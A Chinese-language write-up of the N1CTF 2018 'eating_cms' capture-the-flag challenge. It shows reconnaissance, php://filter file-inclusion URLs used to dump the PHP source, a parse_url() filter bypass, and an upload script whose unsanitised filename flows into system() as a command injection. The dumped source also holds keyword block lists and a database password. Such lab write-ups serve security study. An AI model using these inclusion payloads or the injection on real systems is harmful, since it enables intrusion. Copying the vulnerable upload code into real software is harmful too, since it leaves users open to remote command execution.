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[N1CTF 2018]eating_cms

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[N1CTF 2018]eating_cms

1.首先注意到框架Copyright © 2017.Powered by Albertchang

2.梳理应用功能

  • 登录
    • 尝试使用admin\admin登录发现返回了sql查询语句
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select * from `albert_users` where `username_which_you_do_not_know`= 'admin' and `password_which_you_do_not_know_too` = '21232f297a57a5a743894a0e4a801fc3'

首先想到sql注入

发现输入'会被转义，输入"会提示no hacking，如果是sql注入的话需要fuzz一下哪些字符可用，哪些字符被waf拦截。

同时扫描目录

发现/.viminfo，看看是否存在源码泄露

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vim updateadmin.php
vim info.php
vim login.php

查看是否存在这三个文件

访问/updateadmin.php和info.php,提示you can not visit it directly.

还发现有/register.php,可见可以注册用户。

注册并登录后发现一个博客页面，再试试上面的/updateadmin.php和info.php，还是不行

先尝试注入

发现拦截了!#$%^||&\;:".~/? 和/**/，转义了'.通过单引号闭合不可能了，堆叠注入也不可能,宽字节注入也未成功。既然题目提示和cms有关，再看一下框架。

在登录成功后页面会先访问/user.php?page=info再302跳转到/user.php?page=guest

在/user.php?page=info中提示<!--hint: ffffllllaaaaggg.php-->,直接访问也会提示you can not visit it directly.

看来需要使用特殊身份访问。

/user.php?page=经测试发现文件包含。

直接访问/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg会被hacker.php拦截。获取源码来绕过。

user.php

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<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
    Header("Location: index.php");

}
if($_SESSION['isadmin'] === '1'){
    $oper_you_can_do = $OPERATE_admin;
}else{
    $oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
    if(!isset($_GET['page']) || $_GET['page'] === ''){
        $page = 'info';
    }else {
        $page = $_GET['page'];
    }
}
else{
    if(!isset($_GET['page'])|| $_GET['page'] === ''){
        $page = 'guest';
    }else {
        $page = $_GET['page'];
        if($page === 'info')
        {
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script

index.php

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<?php
require_once "function.php";
if(isset($_SESSION['login'] )){
    Header("Location: user.php?page=info");
}
else{
    include "templates/index.html";
}
?>

function.php

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<?php
session_start();
require_once "config.php";
function Hacker()
{
    Header("Location: hacker.php");
    die();
}


function filter_directory()
{
    $keywords = ["flag","manage","ffffllllaaaaggg"];
    $uri = parse_url($_SERVER["d"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function filter_directory_guest()
{
    $keywords = ["flag","manage","ffffllllaaaaggg","info"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function Filter($string)
{
    global $mysqli;
    $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
    $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
    for ($i = 0; $i < strlen($string); $i++) {
        if (strpos("$whitelist", $string[$i]) === false) {
            Hacker();
        }
    }
    if (preg_match("/$blacklist/is", $string)) {
        Hacker();
    }
    if (is_string($string)) {
        return $mysqli->real_escape_string($string);
    } else {
        return "";
    }
}

function sql_query($sql_query)
{
    global $mysqli;
    $res = $mysqli->query($sql_query);
    return $res;
}

function login($user, $pass)
{
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
    if ($res->num_rows) {
        $data = $res->fetch_array();
        $_SESSION['user'] = $data[username_which_you_do_not_know];
        $_SESSION['login'] = 1;
        $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
        return true;
    } else {
        return false;
    }
    return;
}

function updateadmin($level,$user)
{
    $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);
    if ($res == 1) {
        return true;
    } else {
        return false;
    }
    return;
}

function register($user, $pass)
{
    global $mysqli;
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
    $res = sql_query($sql);
    return $mysqli->insert_id;
}

function logout()
{
    session_destroy();
    Header("Location: index.php");
}

?>

login.php

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<?php
require_once "function.php";
if($_POST['action'] === 'login'){
    if (isset($_POST['username']) and isset($_POST['password'])){
        $user = $_POST['username'];
        $pass = $_POST['password'];
        $res = login($user,$pass);
        if(!$res){
            Header("Location: index.php");
        }else{
            Header("Location: user.php?page=info");
        }
    }
    else{
        Header("Location: error_parameter.php");
    }
}else if($_REQUEST['action'] === 'logout'){
    logout();
}else{
    Header("Location: error_parameter.php");
}

?

register.php

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<?php
require_once "function.php";
if($_POST['action'] === 'register'){
    if (isset($_POST['username']) and isset($_POST['password'])){
        $user = $_POST['username'];
        $pass = $_POST['password'];
        $res = register($user,$pass);
        if($res){
            Header("Location: index.php");
        }else{
            $errmsg = "Username has been registered!";
        }
    }
    else{
        Header("Location: error_parameter.php");
    }
}
if (!$_SESSION['login']) {
    include "templates/register.html";
} else {
    Header("Location : user.php?page=info");
}

?>

config.php

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<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){
        echo "no sql connection".mysqli_connect_error();
        $mysqli=null;
        die();
}
?

hacker.php

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<?php
    include("templates/hacker.html");
?>

updateadmin.php

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<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly ");
}
include "templates/update.html";

info.php

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<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly ");
}
include "templates/info.html";
?>

经过思考感觉从sql注入是无法入手的，看了一下wp，发现是parse_url()的问题。

https://www.dazhuanlan.com/vickycheng823/topics/1089651

构造

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//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

ffffllllaaaaggg.php

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<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}else {
    echo "you can find sth in m4aaannngggeee";
}

构造

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/user.php?page=php://filter/convert.base64-encode/resource=m4aaannngggeee

m4aaannngggeee.php

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<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}
include "templates/upload.html";

转而直接访问m4aaannngggeee.php

image-20220217191148313

看来是个模板测试页面，尝试上传文件

发现跳转至upllloadddd.php，并输出了上传文件的base64编码

image-20220217191421686

看看upllloadddd.php的源码

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<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file！");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
}
?>

发现程序是调用system()来执行shell获取base64编码的，且未对filename进行过滤，此处存在命令执行。

image-20220217195402846